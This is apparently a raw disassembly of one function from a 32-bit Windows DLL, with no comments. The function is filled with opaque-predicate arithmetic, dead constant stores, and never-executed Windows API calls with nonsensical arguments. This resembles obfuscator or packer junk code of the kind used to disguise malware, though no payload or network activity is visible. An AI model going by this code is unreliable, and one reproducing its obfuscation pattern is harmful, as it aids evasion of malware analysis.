mov dword [ebp - 0x1c], 0x707822e6
mov dword [ebp - 0x30], 0xe0980db9
mov dword [ebp - 0x3c], 0x2278213a
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
xor eax, eax
push eax
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], edi
setge cl
xor ebx, ebx
cmp ecx, 0x69f
lea ecx, [ebp - 0x88c]
setle bl
xor eax, eax
push eax
call fcn.10016dc9
mov esi, dword [ebp - 0x54]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
add esi, ebx
cmp ecx, esi
setl dl
mov dword [eax], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x15
lea ecx, [ebp - 0x88c]
jle 0x10031815
mov byte [ebp - 4], 0xb
call fcn.10016dad
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x30], 0x28c176b0
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x54], 0xc41fd9d0
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x100318d2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1274], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100318ba
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100318f6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf60], edi
xor eax, eax
inc dword [ebp - 0x14]
inc eax
push eax
pop edi
cmp dword [ebp - 0x14], eax
jl 0x100318da
xor edi, edi
xor eax, eax
inc edi
inc dword [ebp - 0x54]
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031911
push eax
push edi
push 0x1ec
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor eax, eax
mov dword [ebp - 0x24], 0x47d228d5
or esi, 0xffffffff
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x54], 3
mov dword [ebp - 0x28], 0x1bca3396
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], eax
push 7
mov dword [ebp - 0x38], esi
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x18], eax
je 0x10031a25
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x18]
jne 0x10031983
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10031985
mov eax, edi
mov ecx, 0xfc5c3c3a
cmp ecx, eax
push 0xfffffffffffffffa
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop eax
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], eax
je 0x100319de
lea ecx, [eax + 1]
jmp 0x100319e0
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
sub eax, 0x7018
add eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul eax, ecx, 0xeeb4
cmp eax, dword [ebp - 0x18]
jl 0x10031a1c
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10031a1c
cmp dword [ebp - 0x1c], eax
je 0x10031a23
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10031a27
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov dword [ebp - 0x38], eax
je 0x10031a34
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x88b9
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
neg edx
cmp edx, eax
push 2
setg cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
xor edi, edi
mov eax, dword [ebp - 0x4c]
inc edi
mov eax, dword [ebp - 0x18]
cmp eax, edi
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp eax, edx
pop ebx
setle cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x4c], eax
push ebx
call fcn.10016d2b
push edi
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0xf
call fcn.10016d2b
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x54], 0xfffffffe
mov dword [ebp - 0x38], 0xa18461e7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031acb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x464]
call fcn.10016dc9
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031ab1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031af7
push dword [ebp - 0x14]
lea ecx, [ebp - 0x140]
call fcn.10016dc9
mov dword [eax], 0x622ba394
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10031ad3
xor edi, edi
xor eax, eax
inc edi
push eax
lea ecx, [ebp - 0x140]
call fcn.10016dc9
lea ecx, [ebp - 0x140]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10016dc9
cmp dword [eax], edi
jg 0x10031c9f
push ebx
lea ecx, [ebp - 0xcb8]
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10031b50
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcb8]
call fcn.10016dc9
mov dword [eax], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031b36
xor eax, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.10016dc9
mov esi, eax
lea ecx, [ebp - 0x140]
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [eax]
xor eax, eax
add ecx, dword [esi]
cmp ecx, 0x509c
mov ecx, 0xb44cf592
setl al
cmp ecx, eax
lea ecx, [ebp - 0x464]
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x140]
setne dl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x464]
push dword [eax]
call fcn.10016dc9
mov esi, eax
lea ecx, [ebp - 0x140]
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x464]
push dword [eax]
call fcn.10016dc9
mov esi, dword [esi]
lea ecx, [ebp - 0x140]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x464]
push dword [eax]
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], esi
setl cl
xor ebx, ebx
cmp ecx, 0x63e31551
lea ecx, [ebp - 0x140]
setne bl
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x464]
push dword [eax]
call fcn.10016dc9
lea ecx, [ebp - 0x140]
sub ebx, dword [eax]
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x464]
push dword [eax]
call fcn.10016dc9
mov ecx, dword [ebp - 0x38]
add ecx, ebx
mov dword [eax], ecx
xor eax, eax
push eax
lea ecx, [ebp - 0xcb8]
call fcn.10016dc9
mov dword [eax], 0x60016488
lea ecx, [ebp - 0xcb8]
mov byte [ebp - 4], 0x10
call fcn.10016dad
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x140]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016dc9
push 2
pop ebx
push 0xffffffffffffffff
pop esi
cmp dword [eax], edi
jle 0x10031b1c
or esi, esi
lea ecx, [ebp - 0x140]
call fcn.10016dad
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10031ce3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x728], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10031cca
xor eax, eax
push 0x18
pop ebx
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], ebx
jle 0x10031d1d
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031d06
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x724]
push 0
pop eax
cmp dword [ebp - 0x724], ebx
jg 0x10031cf4
push 0xfffffffffffffff6
mov dword [ebp - 0x48], 0x6899db22
pop ecx
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031d52
push eax
push 0x14e2
push 0x1e00
push eax
push 0x162e
push 0x18cf
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031d6a
push eax
push eax
push 0x188a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
xor eax, eax
mov dword [ebp - 0x20], 0x2e91a049
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031d8a
push 0x21d0
call dword [sym.imp.USER32.dll_GetSysColor]
xor eax, eax
mov dword [ebp - 0x20], ebx
jmp 0x10031d95
mov dword [ebp - 0x38], edi
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
jg 0x10031d8f
push 4
mov dword [ebp - 0x20], eax
pop ebx
cmp dword [ebp - 0x20], ebx
jge 0x10031dc1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x418]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031da6
xor eax, eax
mov dword [ebp - 0x34], 0xb8ee41b6
mov dword [ebp - 0x54], 0xfffffff8
mov dword [ebp - 0x28], 0x52f34111
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031dfc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x684], 0x1ba028ea
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10031dde
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x14], eax
jmp 0x10031e0e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x129c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031e01
mov eax, dword [ebp - 0x34]
xor edx, edx
mov dword [ebp - 0x684], eax
add eax, 0x15fd
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
push 3
setne dl
imul eax, dword [ebp - 0x54], 0xfffffffc
xor ebx, ebx
cmp edx, eax
setl bl
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
pop ebx
setle cl
xor eax, eax
neg ecx
cmp ecx, esi
push 8
setl al
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x34]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setle cl
mov dword [ebp - 0x1298], ecx
mov dword [ebp - 0x34], 0x1c
cmp dword [ebp - 0x34], eax
jl 0x10031eb0
push 8
xor eax, eax
pop ecx
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x10031ea8
push 0x664
push 0x1075
push 0x131e
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 8
xor eax, eax
pop ecx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jge 0x10031e85
push ebx
lea ecx, [ebp - 0x418]
call fcn.10016dc9
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031f47
push ebx
lea ecx, [ebp - 0x418]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031f0a
mov dword [ebp - 0x14], edi
lea ecx, [ebp - 0x418]
push ebx
call fcn.10016dc9
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, dword [eax]
setge dl
xor eax, eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
je 0x10031f08
mov eax, edi
jmp 0x10031f0a
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x418]
push ebx
call fcn.10016dc9
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, 0x86f2
setl dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x418]
push eax
call fcn.10016dc9
mov eax, dword [ebp - 0x4c]
jmp 0x10031f4a
push 2
pop ebx
push 3
lea ecx, [ebp - 0x418]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10031f67
cmp dword [ebp - 0x24], eax
jne 0x10031f67
mov edx, eax
jmp 0x10031f6c
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
mov edi, 0xfffa
setg cl
cmp ecx, 0xfffffff7
jg 0x100326d1
mov dword [ebp - 0x18], 0xcea5d6c0
lea ecx, [ebp - 0x828]
mov dword [ebp - 0x28], esi
push 4
call fcn.10016d2b
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x38], 0x93fe
mov dword [ebp - 0x3c], 0x39e6a413
push 5
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x30], 0x3a798be
mov dword [ebp - 0x1c], 0xac28c4f4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031feb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x828]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031fcc
push 5
xor eax, eax
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003200b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfdc], 0xfff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031ff3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jne 0x10032023
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
je 0x10032013
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100320c8
mov dword [ebp - 0x44], 0x21046671
mov dword [ebp - 0x54], 0xc8d535dd
mov dword [ebp - 0x20], eax
jmp 0x1003204f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1424], 0xf8ba7967
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1003203e
mov eax, dword [ebp - 0xfd8]
lea ecx, [ebp - 0x828]
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x18]
call fcn.10016dc9
push 7
pop ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x828]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
push dword [ebp - 0x18]
call fcn.10016dc9
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x828]
push dword [ebp - 0x18]
call fcn.10016dc9
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
dec edx
neg edx
push 0
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop eax
setne cl
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0x1c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1003202b
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x38], 0x2426f379
mov dword [ebp - 0x20], eax
jmp 0x10032109
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x40c], esi
inc dword [ebp - 0x20]
xor eax, eax
inc eax
cmp dword [ebp - 0x20], eax
jl 0x100320fc
mov dword [ebp - 0x40c], 0x949dfcf0
xor ecx, ecx
mov eax, dword [ebp - 0x40c]
xor esi, esi
mov dword [ebp - 0x28], eax
inc esi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, esi
setle cl
xor edx, edx
add ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, 0x695998ab
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x44]
jle 0x10032167
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10032167
mov dword [ebp - 0x44], 3
jmp 0x10032209
mov dword [ebp - 0x38], 0xec80f219
mov dword [ebp - 0x40], 0xffffffe2
cmp dword [ebp - 0x40], 0xffffffee
jg 0x10032209
push esi
lea ecx, [ebp - 0xa00]
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100321bc
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa00]
call fcn.10016dc9
push 0xfffffffffffffffd
pop ecx
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10032199
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0xa00]
call fcn.10016dc9
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xa00]
setg bl
xor eax, eax
push eax
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], ebx
setge cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xa00]
mov byte [ebp - 4], 0xb
call fcn.10016dad
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffee
jle 0x1003217f
push 2
pop ebx
xor eax, eax
mov dword [ebp - 0x38], 0xe7790660
mov byte [ebp - 0xd], al
lea ecx, [ebp - 0xb4]
push ebx
call fcn.10016d2b
push esi
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x14
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10032260
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb4]
call fcn.10016dc9
mov dword [eax], 0xea75c96
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032242
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003228c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x98]
call fcn.10016dc9
mov dword [eax], 0xf2f4a8b1
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10032268
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x98]
call fcn.10016dc9
lea ecx, [ebp - 0x98]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10016dc9
cmp dword [eax], esi
jg 0x100324d4
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x100322d2
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
push eax
lea ecx, [ebp - 0x98]
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
mov esi, dword [eax]
neg esi
sub esi, 0x9b4a
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10016dc9
lea ecx, [ebp - 0x98]
mov edi, dword [eax]
xor eax, eax
push eax
add edi, esi
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor ecx, ecx
mov esi, 0xb5e4
cmp edi, dword [eax]
setne cl
cmp ebx, ecx
lea ecx, [ebp - 0x98]
sbb eax, eax
inc eax
sub esi, eax
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
cmp dword [eax], esi
jle 0x10032380
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
cmp dword [eax], 0
je 0x10032380
xor esi, esi
inc esi
mov eax, esi
jmp 0x10032385
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x100323a8
push eax
lea ecx, [ebp - 0x98]
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x98]
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
xor ecx, ecx
cmp dword [eax], esi
setl cl
xor eax, eax
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x98]
push eax
call fcn.10016dc9
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.10016dc9
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0xb4]
setl bl
call fcn.10016dc9
lea ecx, [ebp - 0x98]
mov dword [eax], ebx
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x98]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016dc9
push 2
cmp dword [eax], esi
pop ebx
jle 0x100322b1
mov edi, 0xfffa
lea ecx, [ebp - 0x98]
call fcn.10016dad
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0xb
call fcn.10016dad
cmp byte [ebp - 0xd], 0
je 0x100332af
xor eax, eax
lea ecx, [ebp - 0x480]
inc eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 0x57a7c203
mov dword [ebp - 0x54], 0x4f5ac3d6
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x24], 0xbb101eb
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 0xf748bbe2
mov dword [ebp - 0x30], 0x4ddbb7a2
mov dword [ebp - 0x30], 0x6ba8a7e8
push 4
call fcn.10016d2b
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], 0x351f4a1a
push 3
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x48], 0x60f1
mov dword [ebp - 0xdd4], edi
mov dword [ebp - 0xdd0], edi
mov dword [ebp - 0xdcc], edi
mov dword [ebp - 0xdc8], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10032592
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11c8], 0x7b1466ac
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003257a
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100325b2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xff0], 0x78cd908f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003259a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100325c8
push dword [ebp - 0x18]
call fcn.10016dc9
mov dword [eax], 0x10f1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
lea ecx, [ebp - 0x480]
jl 0x100325b7
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x28]
xor edi, edi
mov eax, dword [eax]
dec dword [ebp - 0x28]
cmp ecx, eax
jle 0x100325f8
inc edi
mov eax, edi
jmp 0x100325fb
xor eax, eax
inc edi
mov dword [ebp - 0x1c], 0x3dc99cdf
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push 8
pop ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jge 0x10032630
xor eax, eax
lea ecx, [ebp - 0x480]
push eax
call fcn.10016dc9
cmp dword [eax], 0
je 0x1003262d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
push 3
lea ecx, [ebp - 0x480]
call fcn.10016dc9
push 3
lea ecx, [ebp - 0x480]
call fcn.10016dc9
mov esi, 0xfff7
lea ecx, [ebp - 0x480]
push 3
sub esi, dword [eax]
call fcn.10016dc9
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp esi, ecx
mov ecx, dword [ebp - 0xff0]
setne dl
xor ebx, ebx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x3c]
setl bl
xor edx, edx
imul ecx, ebx
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x11c8], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0xdc8]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
lea ecx, [ebp - 0x480]
setl dl
mov dword [ebp - 0x24], edx
call fcn.10016dad
push 0x32c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
jmp 0x100332b2
push 3
lea ecx, [ebp - 0xfd4]
call fcn.10016d2b
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x2c], 0xd1e1e87d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10032713
push dword [ebp - 0x20]
lea ecx, [ebp - 0xfd4]
call fcn.10016dc9
mov dword [eax], 0xcff0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100326f4
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003279c
mov dword [ebp - 0x40], 0xf72d4ea6
mov dword [ebp - 0x40], eax
jmp 0x1003278f
mov dword [ebp - 0x20], 0xbef7d651
mov dword [ebp - 0x20], eax
jmp 0x1003276f
cmp byte [ebp - 0xd], 0
je 0x10032754
push 0x26c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003276c
push 0xe23
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
mov byte [ebp - 0xd], al
jle 0x10032733
cmp byte [ebp - 0xd], 0
je 0x1003278c
